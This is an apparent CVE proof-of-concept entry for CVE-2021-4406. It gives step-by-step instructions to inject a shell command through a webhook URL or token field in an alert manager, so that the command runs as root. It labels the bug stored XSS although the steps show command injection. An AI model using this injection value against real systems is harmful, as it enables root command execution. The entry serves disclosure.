CVEs-PoC/2021/CVE-2021-4406.md

CVE-2021-4406

Description

An authenticated attacker is able to create alerts that trigger a stored XSS attack.POC * go to the alert manager * open the ITSM tab * add a webhook with the URL/service token value ' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters) * click add * click apply * create a test alert * The test alert will run the command “id | tee /tmp/ttttttddddssss” as root. * after the test alert inspect /tmp/ttttttddddssss it'll contain the ids of the root user.

POC

Reference

• https://csirt.divd.nl/cves/CVE-2021-4406/

Github

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